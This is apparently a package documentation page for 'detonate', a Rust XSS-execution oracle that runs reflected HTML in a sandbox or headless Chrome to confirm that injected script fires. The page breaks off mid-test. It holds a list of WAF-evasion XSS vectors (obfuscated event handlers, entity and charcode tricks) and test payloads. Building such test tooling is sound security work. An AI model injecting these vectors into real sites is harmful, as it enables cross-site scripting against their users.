detonate 0.1.5

Prove an injected web payload actually EXECUTES (alert(1) fires), not just reflects: a shared XSS-execution oracle over a jsdet sandbox.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
//! `detonate`: prove an injected web payload actually **executes**, not just
//! reflects.
//!
//! WAF-bypass ≠ exploit, and reflection ≠ execution: a payload can pass a WAF
//! and even echo back in the response yet never reach a context where its
//! JavaScript runs. This crate is the **execution oracle** that separates "the
//! bytes came back" from "the script ran", it extracts the JavaScript an HTTP
//! response would execute, runs it in Santh's [`jsdet`] sandbox (QuickJS
//! compiled to WASM, every API call observed) behind a DOM/browser bridge, and
//! reports whether a dialog sink (`alert` / `confirm` / `prompt`) fired, the
//! minimal, false-positive-free proof of cross-site scripting.
//!
//! Shared so any Santh tool can gate a finding on real execution. The
//! canonical use is the classic proof payload `alert(1)`:
//!
//! ```no_run
//! let proof = detonate::detonate_html(
//!     r#"<div><script>alert(1)</script></div>"#,
//!     "https://target.example/reflect",
//! );
//! assert!(proof.proves("1")); // alert fired with argument "1"
//! ```

use std::sync::Arc;

use jsdet_browser::{BrowserBridge, Persona};
use jsdet_core::{CompiledModule, Observation, SandboxConfig, Value};
use serde::Serialize;

pub mod breakout;
pub mod chrome;
pub mod mutation;

/// Which detonation engine to run a candidate response through.
///
/// The two engines answer the same question: "does this response execute
/// injected JavaScript", with different fidelity, and return the identical
/// [`ExecutionProof`] shape so callers are engine-agnostic.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub enum Engine {
    /// jsdet (QuickJS-in-WASM), fast, dependency-light, false-positive-free for
    /// the JS-execution question. Cannot model HTML5 re-serialization, so it
    /// misses mutation-XSS and exotic browser-only handlers.
    #[default]
    Jsdet,
    /// Real headless Chrome, spec-correct; catches mutation-XSS, exotic/SMIL
    /// handlers, and charset confusion the jsdet engine structurally cannot.
    /// Requires a Chrome/Chromium binary (see [`chrome::available`]).
    Chrome,
}

impl Engine {
    /// Parse an engine name (`"jsdet"` / `"chrome"`), case-insensitively.
    #[must_use]
    pub fn parse(name: &str) -> Option<Self> {
        match name.trim().to_ascii_lowercase().as_str() {
            "jsdet" | "js" | "sandbox" => Some(Self::Jsdet),
            "chrome" | "browser" | "headless" | "chromium" => Some(Self::Chrome),
            _ => None,
        }
    }

    /// Canonical engine name.
    #[must_use]
    pub fn name(self) -> &'static str {
        match self {
            Self::Jsdet => "jsdet",
            Self::Chrome => "chrome",
        }
    }
}

/// Detonate `body` with the selected [`Engine`], returning the proof of
/// execution. The `Chrome` engine falls back to jsdet when no browser binary is
/// available, so a caller that *requests* the accurate oracle still gets a real
/// answer on a host without Chrome rather than a silent `executed:false`.
#[must_use]
pub fn detonate_html_with(engine: Engine, body: &str, url: &str) -> ExecutionProof {
    match engine {
        Engine::Jsdet => detonate_html(body, url),
        Engine::Chrome if chrome::available() => chrome::detonate_html_chrome(body, url),
        Engine::Chrome => {
            let mut proof = detonate_html(body, url);
            if !proof.executed && proof.error.is_none() {
                proof.error = Some(
                    "Chrome engine requested but no Chrome/Chromium binary available; fell back to jsdet"
                        .into(),
                );
            }
            proof
        }
    }
}

/// Execution-PRESERVING XSS evasion vectors.
///
/// The real-WAF dogfood (ModSec CRS) that motivated these: wafrift's *generic*
/// evasion bypasses WAFs with encodings that reflect **inert** (the origin
/// decodes once into non-executable text (a WAF-bypass that is not an exploit)).
/// These vectors are the opposite, each varies the surface a WAF signature sees
/// (exotic/obscure auto-firing handler, keyword/delimiter obfuscation, tag &
/// whitespace mutation, eval/charcode indirection) while STILL firing a dialog
/// sink **without user interaction**. `{{M}}` is substituted with the alert
/// marker via [`exec_preserving_vectors`].
///
/// Every entry is self-validated: [`tests::every_exec_preserving_vector_executes`]
/// detonates each one and asserts it fires the sink, a vector that stops
/// executing is a build failure, never a silently-dead entry (LAW 6: test truth).
/// This makes the library impossible to rot: a "clever" vector that doesn't
/// actually run can't sneak in.
pub const EXEC_PRESERVING_VECTORS: &[&str] = &[
    // ── baseline auto-firing handlers (the surface to mutate from) ──
    "<svg onload=alert({{M}})>",
    "<img src=x onerror=alert({{M}})>",
    "<details open ontoggle=alert({{M}})>",
    "<body onpageshow=alert({{M}})>",
    // ── tag / whitespace / case mutation (defeats exact-string sigs) ──
    "<svg/onload=alert({{M}})>",
    "<sVg oNloAd=alert({{M}})>",
    "<svg\tonload=alert({{M}})>",
    // ── delimiter obfuscation: browser decodes HTML entities in attrs ──
    "<svg onload=alert&#40;{{M}}&#41;>",
    "<svg onload=alert&lpar;{{M}}&rpar;>",
    // ── keyword obfuscation: the `alert` token never appears verbatim ──
    "<svg onload=window['ale'+'rt']({{M}})>",
    "<svg onload=window[String.fromCharCode(97,108,101,114,116)]({{M}})>",
    "<img src=x onerror=window['ale'+'rt']({{M}})>",
    // ── indirection via eval / Function ──
    "<svg onload=eval('aler'+'t({{M}})')>",
    "<svg onload=(alert)({{M}})>",
    // ── alternate dialog sinks (also count as execution) ──
    "<svg onload=confirm({{M}})>",
    "<svg onload=prompt({{M}})>",
];

/// The [`EXEC_PRESERVING_VECTORS`] with `{{M}}` replaced by `marker`.
#[must_use]
pub fn exec_preserving_vectors(marker: &str) -> Vec<String> {
    EXEC_PRESERVING_VECTORS
        .iter()
        .map(|v| v.replace("{{M}}", marker))
        .collect()
}

/// A dangerous capability the injected JavaScript reached, evidence it both
/// EXECUTED and did something exploitable. Real-world XSS rarely calls `alert`;
/// it exfiltrates (`fetch`/image to an attacker), reads `document.cookie`,
/// `eval`s attacker code, or writes the DOM. Each of these is reachable only by
/// running JS, so any hit proves execution.
#[derive(Debug, Clone, PartialEq, Eq, Serialize)]
pub struct SinkHit {
    /// Sink category: `alert`/`confirm`/`prompt`/`eval`/`network`/`cookie`/
    /// `dom-write`/`redirect`/`popup`/`websocket`/`storage`.
    pub kind: String,
    /// Detail, the dialog argument, fetched URL, cookie name, eval'd code
    /// preview, mutated DOM target, etc.
    pub detail: String,
}

/// Proof that injected JavaScript executed in a response.
#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize)]
pub struct ExecutionProof {
    /// True iff the injected JS reached ANY dangerous sink (dialog, eval,
    /// network exfil, cookie access, DOM write, redirect, …).
    pub executed: bool,
    /// Primary sink kind, a dialog (`alert`/`confirm`/`prompt`) when one
    /// fired (the canonical proof), else the first dangerous sink reached.
    pub sink: Option<String>,
    /// Primary sink detail, the dialog argument (`"1"` for `alert(1)`) or the
    /// first sink's detail.
    pub message: Option<String>,
    /// Number of JavaScript fragments extracted from the response and run.
    pub fragments_run: usize,
    /// EVERY dangerous sink the injected JS reached, the full exploit picture
    /// (e.g. `[{kind:"cookie",…},{kind:"network",detail:"GET //evil/…"}]` for a
    /// cookie-exfil payload that never calls `alert`). `#[serde(default)]` so
    /// older consumers that read only `executed`/`sink`/`message` still parse.
    #[serde(default)]
    pub sinks: Vec<SinkHit>,
    /// Set when the detonation could NOT be run at all (the browser binary was
    /// missing, the harness HTTP server failed to bind, or the browser failed to
    /// launch / timed out), as opposed to running and reaching no sink.
    ///
    /// This distinction is load-bearing for a detonation ORACLE: without it, an
    /// infrastructure failure returns an empty `executed:false` proof that is
    /// indistinguishable from "the payload is safe", silently turning a broken
    /// run into a false negative (Law 10). Consumers that must not miss real XSS
    /// should treat `error.is_some()` as "unknown, re-run", never as "safe".
    /// `#[serde(default)]` so older consumers still parse.
    #[serde(default)]
    pub error: Option<String>,
}

impl ExecutionProof {
    /// True iff a sink fired with the exact first argument `expected`: the
    /// canonical exploit assertion (`proves("1")` for `alert(1)`). Stronger
    /// than [`Self::executed`]: it pins the argument so a stray `alert()`
    /// elsewhere in the page can't be mistaken for the injected proof.
    #[must_use]
    pub fn proves(&self, expected: &str) -> bool {
        self.executed && self.message.as_deref() == Some(expected)
    }

    /// Build an empty proof that records an INFRASTRUCTURE failure (browser
    /// binary missing, harness bind failure, launch/timeout) and emits the reason
    /// to stderr so the failure is LOUD, never silent.
    ///
    /// Distinct from a plain empty proof (`Default`), where the payload ran but
    /// reached no sink: here `error.is_some()`, so a `false` `executed` must NOT
    /// be read as "payload is safe". This is the Law-10 loud-degrade path for the
    /// engine, which previously returned a silent `ExecutionProof::default()` on
    /// every failure and could not run its detonation.
    #[must_use]
    pub fn failed(reason: impl Into<String>) -> Self {
        let reason = reason.into();
        eprintln!("detonate: detonation could not run: {reason}");
        Self {
            error: Some(reason),
            ..Default::default()
        }
    }

    /// True iff the detonation could not run (see [`Self::error`]); a `false`
    /// result here means `executed` reflects a real run, so `!executed` can be
    /// trusted as "reached no sink".
    #[must_use]
    pub fn failed_to_run(&self) -> bool {
        self.error.is_some()
    }
}

/// Detonate the JavaScript an HTML response `body` would execute against a
/// sandbox browser at `url`, returning whether a dialog sink fired.
///
/// Extracts JS from the three contexts a reflected payload commonly lands in 
/// `<script>` bodies, inline `on*=` event-handler attributes, and
/// `javascript:` URIs, and runs them. This is a deliberate over-approximation
/// of "could this reflection execute `alert(1)`": it does not model the DOM
/// event that would *trigger* a handler, only that the handler's code calls the
/// sink. For a reflective XSS proof that is exactly the question that matters.
#[must_use]
pub fn detonate_html(body: &str, url: &str) -> ExecutionProof {
    detonate_scripts(&extract_executable_js(body), url)
}

/// Sandbox config for reflection detonation. `SandboxConfig::detonation()`
/// traps (out of fuel) while compiling jsdet-browser's large DOM bootstrap, so
/// we base on `default()` (proven to run the bootstrap cleanly) and widen the
/// timeout / memory / fuel so a real multi-script reflection has headroom.
fn detonation_config() -> SandboxConfig {
    SandboxConfig {
        timeout_ms: 2000,
        max_memory_bytes: 32 * 1024 * 1024,
        max_fuel: 500_000_000,
        ..SandboxConfig::default()
    }
}

/// Detonate an explicit list of JavaScript fragments (each run as a top-level
/// script) and report the first dialog sink that fired. Lower-level entry
/// point for callers that already isolated the injected JS.
#[must_use]
pub fn detonate_scripts(scripts: &[String], url: &str) -> ExecutionProof {
    let mut proof = ExecutionProof {
        fragments_run: scripts.len(),
        ..Default::default()
    };
    if scripts.is_empty() {
        return proof;
    }
    let module = match CompiledModule::new() {
        Ok(module) => module,
        Err(e) => {
            let mut failed = ExecutionProof::failed(format!(
                "jsdet sandbox module failed to initialize: {e}"
            ));
            failed.fragments_run = proof.fragments_run;
            return failed;
        }
    };
    let bridge = Arc::new(BrowserBridge::new(
        url,
        "<html><head></head><body></body></html>",
        Persona::chrome_windows(),
    ));
    let result = match module.execute(scripts, bridge, &detonation_config()) {
        Ok(result) => result,
        Err(e) => {
            // A trap here is almost always the sandbox doing its job against
            // hostile JS: out of fuel on `while(1){}`, the memory cap on an
            // allocation bomb, or the wall-clock timeout. The payload could
            // not be fully evaluated, so the honest verdict is "unknown,
            // re-run", never the silent `executed:false` that reads as
            // "payload is safe" (Law 10, same class as the chrome engine's
            // launch-failure fix).
            let mut failed =
                ExecutionProof::failed(format!("jsdet sandbox execution trapped: {e}"));
            failed.fragments_run = proof.fragments_run;
            return failed;
        }
    };
    // Collect EVERY dangerous sink the injected JS reached, classified from the
    // RAW observations by API name (jsdet's `RuntimeEvidence` flattens most API
    // calls to a generic `DomMutation`, losing the network/eval/cookie
    // distinction, the precise `api` string is in the `ApiCall` itself). Each
    // recognized sink is reachable only by running JS, so any hit proves
    // execution: real-world XSS rarely calls `alert`: it exfils via `fetch`,
    // reads `document.cookie`, `eval`s attacker code, or writes the DOM.
    // Dedupe by (kind, detail) so a script that calls the same sink repeatedly
    // (e.g. two `fetch` to the same URL) reports one hit, matching the chrome
    // engine's parse_sinks dedup. Without this the two engines disagreed on
    // sink counts for identical payloads.
    let mut seen = std::collections::HashSet::new();
    let sinks: Vec<SinkHit> = result
        .observations
        .iter()
        .filter_map(sink_of_obs)
        .filter(|s| seen.insert((s.kind.clone(), s.detail.clone())))
        .collect();
    // An abnormal sandbox abort: a resource limit (wall-clock, fuel, memory)
    // or a wasm-level trap, which for JS input can only come from the sandbox
    // killing the script (QuickJS handles ordinary JS exceptions internally,
    // so they never surface as wasm traps). jsdet currently reports
    // fuel-kills as generic `wasm trap` errors rather than its ResourceLimit
    // observation, so the trap string is matched here too.
    let sandbox_aborted = result.timed_out
        || !result.errors.is_empty()
        || result
            .observations
            .iter()
            .any(|o| matches!(o, Observation::ResourceLimit { .. }));
    if sandbox_aborted && sinks.is_empty() {
        // The sandbox terminated the run before any sink fired: the payload
        // was not fully evaluated, so the honest verdict is "unknown,
        // re-run", never the silent `executed:false` that reads as "payload
        // is safe" (Law 10). Sinks observed BEFORE the abort are kept
        // instead: they provably fired, so an aborted run with a sink is
        // still a valid proof.
        let err_detail = if !result.errors.is_empty() {
            format!("jsdet sandbox encountered execution errors: {}", result.errors.join("; "))
        } else {
            "jsdet sandbox hit a resource limit (timeout/fuel/memory) before any sink fired".to_string()
        };
        let mut failed = ExecutionProof::failed(err_detail);
        failed.fragments_run = proof.fragments_run;
        return failed;
    }
    proof.executed = !sinks.is_empty();
    // Primary: prefer a dialog (the canonical `alert(1)` proof, so `proves("1")`
    // keeps working), else the first dangerous sink reached.
    if let Some(d) = sinks
        .iter()
        .find(|s| matches!(s.kind.as_str(), "alert" | "confirm" | "prompt"))
        .or_else(|| sinks.first())
    {
        proof.sink = Some(d.kind.clone());
        proof.message = Some(d.detail.clone());
    }
    proof.sinks = sinks;
    proof
}

/// Classify a raw jsdet [`Observation`] into a dangerous [`SinkHit`] by API
/// name, or `None` for non-sink / instrumentation-noise calls. Every recognized
/// API is reachable only by executing JavaScript.
fn sink_of_obs(obs: &Observation) -> Option<SinkHit> {
    let Observation::ApiCall { api, args, .. } = obs else {
        return None;
    };
    let argv = args_array(args);
    let arg0 = || argv.first().cloned().unwrap_or_default();
    let (kind, detail) = match api.as_str() {
        "window.alert" => ("alert", arg0()),
        "window.confirm" => ("confirm", arg0()),
        "window.prompt" => ("prompt", arg0()),
        "fetch" | "navigator.sendBeacon" | "XMLHttpRequest.open" | "XMLHttpRequest.send" => {
            ("network", arg0())
        }
        "eval" | "Function" => ("eval", truncate(&arg0())),
        "window.open" => ("popup", arg0()),
        "document.write" | "document.writeln" | "element.innerHTML" => {
            ("dom-write", truncate(&argv.join(" ")))
        }
        a if a.starts_with("document.cookie") => ("cookie", argv.join(" ")),
        a if a.contains("location") => ("redirect", arg0()),
        a if a.starts_with("localStorage") || a.starts_with("sessionStorage") => {
            ("storage", argv.join(" "))
        }
        // jsdet instrumentation / auto-probes (not injected-payload sinks).
        "probe_html_forms" | "probe_static_forms" | "fingerprint.read" => return None,
        a if a.starts_with("__observe") => return None,
        _ => return None,
    };
    Some(SinkHit { kind: kind.to_string(), detail })
}

/// jsdet packs all of a call's arguments as ONE JSON-array string in `args[0]`
/// (e.g. `alert(1)` → `["1"]`, `fetch(u,m)` → `[u,m]`). Decode it to the real
/// argument list; strings keep their text, other JSON values are stringified.
fn args_array(args: &[Value]) -> Vec<String> {
    let raw = match args.first() {
        Some(Value::String(s, _) | Value::Json(s, _)) => s.as_str(),
        _ => return Vec::new(),
    };
    serde_json::from_str::<Vec<serde_json::Value>>(raw)
        .map(|vals| {
            vals.into_iter()
                .map(|v| match v {
                    serde_json::Value::String(s) => s,
                    other => other.to_string(),
                })
                .collect()
        })
        .unwrap_or_default()
}

/// Truncate a detail string to a bounded preview (attacker-controlled).
pub(crate) fn truncate(s: &str) -> String {
    const MAX: usize = 200;
    if s.len() <= MAX {
        s.to_string()
    } else {
        let mut end = MAX;
        while !s.is_char_boundary(end) {
            end -= 1;
        }
        format!("{}…", &s[..end])
    }
}

/// Auto-firing event-handler attributes, those that execute WITHOUT user
/// interaction when the element merely appears in the parsed document (a broken
/// resource, a load, an opened `<details>`, page-show, a CSS animation, SVG
/// SMIL timing). Interaction handlers (`onclick`, `onmouseover`, …) are
/// deliberately EXCLUDED: they require a user action, so running them would
/// over-claim "executes". Tier-B data (extend as new auto-fire vectors appear).
const AUTO_FIRING_HANDLERS: &[&str] = &[
    "onerror",
    "onload",
    "ontoggle",
    "onpageshow",
    "onfocusin",
    "onanimationstart",
    "onanimationend",
    "onanimationiteration",
    "onbegin", // SVG SMIL
    "onend",
    "onrepeat",
    "onloadstart",
    "onloadedmetadata",
    "oncanplay",
];

/// Extract the JavaScript a reflected HTML response would execute, parsed with
/// an **HTML5-spec parser** (html5ever via `scraper`) so it is BROWSER-ACCURATE.
///
/// A regex can't tell an executable `<script>` from one that merely appears as
/// text, inside an HTML comment, a `<textarea>`/`<title>`/`<style>`
/// RAWTEXT/RCDATA element, or an attribute value, and would raise a false
/// "execution". The spec parser only yields a real, parsed `<script>` element,
/// which exists ONLY when the attacker actually broke out of their reflection
/// context into one. Sources, all browser-accurate:
///  1. inline `<script>` elements (no `src`) (auto-execute).
///  2. AUTO-firing `on*=` handler attributes on real elements (see
///     [`AUTO_FIRING_HANDLERS`]) (execution without user interaction).
///  3. `javascript:` URIs in an `<iframe>`/`<frame>` `src`: auto-navigate.
///
/// Interaction-only vectors (`onclick`, `<a href=javascript:>`) are excluded so
/// a reported execution genuinely means "runs on its own".
#[must_use]
pub fn extract_executable_js(html: &str) -> Vec<String> {
    use scraper::Html;

    // The universal `*` selector is a compile-time constant; parse it once for
    // the process instead of recompiling the CSS selector on every call.
    static ALL_SELECTOR: std::sync::LazyLock<scraper::Selector> = std::sync::LazyLock::new(|| {
        scraper::Selector::parse("*").expect("static '*' selector is valid")
    });

    let doc = Html::parse_document(html);
    let mut out = Vec::new();
    for el in doc.select(&ALL_SELECTOR) {
        let e = el.value();
        let tag = e.name(); // html5ever lowercases tag + attribute names.

        // 1. Inline <script> without src (or with data: URI src) → body/data auto-executes (unless type is a non-JS data block).
        if tag == "script" {
            if let Some(src) = e.attr("src") {
                if let Some(data_js) = extract_data_uri_script(src) {
                    push_nonempty(&mut out, &data_js);
                }
            } else if e.attr("type").map_or(true, is_js_type) {
                push_nonempty_owned(&mut out, el.text().collect::<String>());
            }
        }
        // 2. Auto-firing event-handler attributes (including onfocus when autofocus is present).
        let has_autofocus = e.attr("autofocus").is_some();
        for (name, value) in e.attrs() {
            let is_autofocus_onfocus = has_autofocus && name == "onfocus";
            if AUTO_FIRING_HANDLERS.contains(&name) || is_autofocus_onfocus {
                push_nonempty(&mut out, value);
            }
        }
        // 3. javascript: URI or srcdoc in an auto-navigating frame (iframe/frame).
        if tag == "iframe" || tag == "frame" {
            if let Some(src) = e.attr("src") {
                if let Some(code) = strip_js_scheme(src) {
                    push_nonempty(&mut out, code);
                }
            }
            if let Some(srcdoc) = e.attr("srcdoc") {
                let unescaped = html_unescape(srcdoc);
                for frag in extract_executable_js(&unescaped) {
                    push_nonempty(&mut out, &frag);
                }
            }
        }
    }
    out
}

/// Check whether a `<script type="...">` attribute represents an executable
/// JavaScript script (HTML5 spec § 4.12.1.1). Non-JS types (`text/plain`,
/// `application/json`, `importmap`, `speculationrules`, `text/html`, etc.) are
/// data blocks and must not be extracted as executable code.
fn is_js_type(t: &str) -> bool {
    let trimmed = t.trim();
    if trimmed.is_empty() {
        return true;
    }
    let mime = trimmed.split(';').next().unwrap_or("").trim().to_ascii_lowercase();
    matches!(
        mime.as_str(),
        "text/javascript"
            | "application/javascript"
            | "text/ecmascript"
            | "application/ecmascript"
            | "text/jscript"
            | "application/x-javascript"
            | "application/x-ecmascript"
            | "module"
            | "text/javascript1.0"
            | "text/javascript1.1"
            | "text/javascript1.2"
            | "text/javascript1.3"
            | "text/javascript1.4"
            | "text/javascript1.5"
    )
}

/// Strip a leading (ASCII-case-insensitive, whitespace-and-control-tolerant)
/// `javascript:` scheme, returning the code after it, or `None` when the value
/// is not a `javascript:` URI. Char-boundary-safe.
fn strip_js_scheme(v: &str) -> Option<&str> {
    const SCHEME: &str = "javascript";
    let trimmed = v.trim_start_matches(|c: char| c.is_ascii_whitespace() || c.is_ascii_control());
    let colon_pos = trimmed.find(':')?;
    let scheme_part = &trimmed[..colon_pos];

    let mut matched_len = 0;
    for b in scheme_part.bytes() {
        if b.is_ascii_whitespace() || b.is_ascii_control() {
            continue;
        }
        if matched_len < SCHEME.len()
            && b.to_ascii_lowercase() == SCHEME.as_bytes()[matched_len]
        {
            matched_len += 1;
        } else {
            return None;
        }
    }
    if matched_len == SCHEME.len() {
        Some(&trimmed[colon_pos + 1..])
    } else {
        None
    }
}

/// Extract inline script content from a `data:` URI in a `<script src="...">` attribute.
fn extract_data_uri_script(src: &str) -> Option<String> {
    let t = src.trim_start_matches(|c: char| c.is_ascii_whitespace() || c.is_ascii_control());
    if t.len() < 5 || !t[..5].eq_ignore_ascii_case("data:") {
        return None;
    }
    let rest = &t[5..];
    let (header, data) = rest.split_once(',')?;
    let is_base64 = header.split(';').any(|p| p.trim().eq_ignore_ascii_case("base64"));
    let mime = header.split(';').next().unwrap_or("").trim();
    if !mime.is_empty() && !is_js_type(mime) {
        return None;
    }
    if is_base64 {
        let decoded_bytes = base64_decode(data.trim())?;
        String::from_utf8(decoded_bytes).ok()
    } else {
        percent_decode(data)
    }
}

/// Minimal HTML-attribute unescape for entities (`&quot; &amp; &lt; &gt; &#39;`).
pub(crate) fn html_unescape(s: &str) -> String {
    s.replace("&quot;", "\"")
        .replace("&#39;", "'")
        .replace("&lt;", "<")
        .replace("&gt;", ">")
        .replace("&amp;", "&")
}

/// Percent-decode a string (e.g. `%28` -> `(`).
pub(crate) fn percent_decode(s: &str) -> Option<String> {
    let bytes = s.as_bytes();
    let mut out = Vec::with_capacity(bytes.len());
    let mut i = 0;
    while i < bytes.len() {
        if bytes[i] == b'%' && i + 2 < bytes.len() {
            if let (Some(h1), Some(h2)) = (hex_val(bytes[i + 1]), hex_val(bytes[i + 2])) {
                out.push((h1 << 4) | h2);
                i += 3;
                continue;
            }
        }
        out.push(bytes[i]);
        i += 1;
    }
    String::from_utf8(out).ok()
}

fn hex_val(b: u8) -> Option<u8> {
    match b {
        b'0'..=b'9' => Some(b - b'0'),
        b'a'..=b'f' => Some(b - b'a' + 10),
        b'A'..=b'F' => Some(b - b'A' + 10),
        _ => None,
    }
}

/// Base64 decode string bytes (RFC 4648).
pub(crate) fn base64_decode(input: &str) -> Option<Vec<u8>> {
    let clean: Vec<u8> = input
        .bytes()
        .filter(|b| !b.is_ascii_whitespace())
        .collect();
    if clean.is_empty() {
        return Some(Vec::new());
    }
    let mut out = Vec::with_capacity(clean.len() * 3 / 4);
    let mut buf = 0u32;
    let mut bits = 0;
    for &b in &clean {
        if b == b'=' {
            break;
        }
        let val = match b {
            b'A'..=b'Z' => b - b'A',
            b'a'..=b'z' => b - b'a' + 26,
            b'0'..=b'9' => b - b'0' + 52,
            b'+' => 62,
            b'/' => 63,
            _ => return None,
        } as u32;
        buf = (buf << 6) | val;
        bits += 6;
        if bits >= 8 {
            bits -= 8;
            out.push((buf >> bits) as u8);
            buf &= (1 << bits) - 1;
        }
    }
    Some(out)
}

/// Push a trimmed, non-empty fragment onto `out`.
fn push_nonempty(out: &mut Vec<String>, frag: &str) {
    let t = frag.trim();
    if !t.is_empty() {
        out.push(t.to_string());
    }
}

/// Trim an already-owned `String` in place and push it if non-empty.
fn push_nonempty_owned(out: &mut Vec<String>, mut s: String) {
    let end = s.trim_end().len();
    s.truncate(end);
    let start = s.len() - s.trim_start().len();
    if start > 0 {
        s.replace_range(..start, "");
    }
    if !s.is_empty() {
        out.push(s);
    }
}
#[cfg(test)]
mod tests {
    use super::*;

    fn has(js: &[String], needle: &str) -> bool {
        js.iter().any(|s| s.contains(needle))
    }

    // ─────────────────── extraction: TRUE POSITIVES ───────────────────

    #[test]
    fn extract_real_script_body() {
        let js = extract_executable_js("<div><script>var x=1; alert(1)</script></div>");
        assert!(has(&js, "alert(1)"), "{js:?}");
    }

    #[test]
    fn extract_attribute_breakout_script() {
        // The attacker broke out of an attribute into a real <script> element.
        let js = extract_executable_js(r#"<input value=""><script>alert(1)</script>">"#);
        assert!(has(&js, "alert(1)"), "broken-out script must be extracted: {js:?}");
    }

    #[test]
    fn extract_auto_firing_handlers() {
        for (html, want) in [
            (r#"<img src=x onerror="alert(1)">"#, "alert(1)"),
            ("<svg onload=alert(2)>", "alert(2)"),
            ("<details open ontoggle=alert(3)>", "alert(3)"),
            ("<body onload=alert(4)>", "alert(4)"),
            ("<xss onanimationstart=alert(5)>", "alert(5)"),
        ] {
            let js = extract_executable_js(html);
            assert!(has(&js, want), "auto-firing handler {html:?} → {js:?}");
        }
    }

    #[test]
    fn extract_javascript_uri_in_iframe_src() {
        let js = extract_executable_js(r#"<iframe src="javascript:alert(1)"></iframe>"#);
        assert!(has(&js, "alert(1)"), "iframe javascript: src auto-navigates: {js:?}");
    }
    #[test]
    fn extract_autofocus_onfocus_handler() {
        let js = extract_executable_js(r#"<input autofocus onfocus="alert(1)">"#);
        assert!(has(&js, "alert(1)"), "autofocus element onfocus auto-fires: {js:?}");
    }

    #[test]
    fn extract_javascript_uri_with_control_characters() {
        let js = extract_executable_js("<iframe src=\"java\nscript:alert(1)\"></iframe>");
        assert!(has(&js, "alert(1)"), "javascript: scheme with control chars auto-navigates: {js:?}");
    }

    #[test]
    fn extract_iframe_srcdoc_script() {
        let js = extract_executable_js(r#"<iframe srcdoc="<script>alert(1)</script>"></iframe>"#);
        assert!(has(&js, "alert(1)"), "iframe srcdoc script auto-executes: {js:?}");

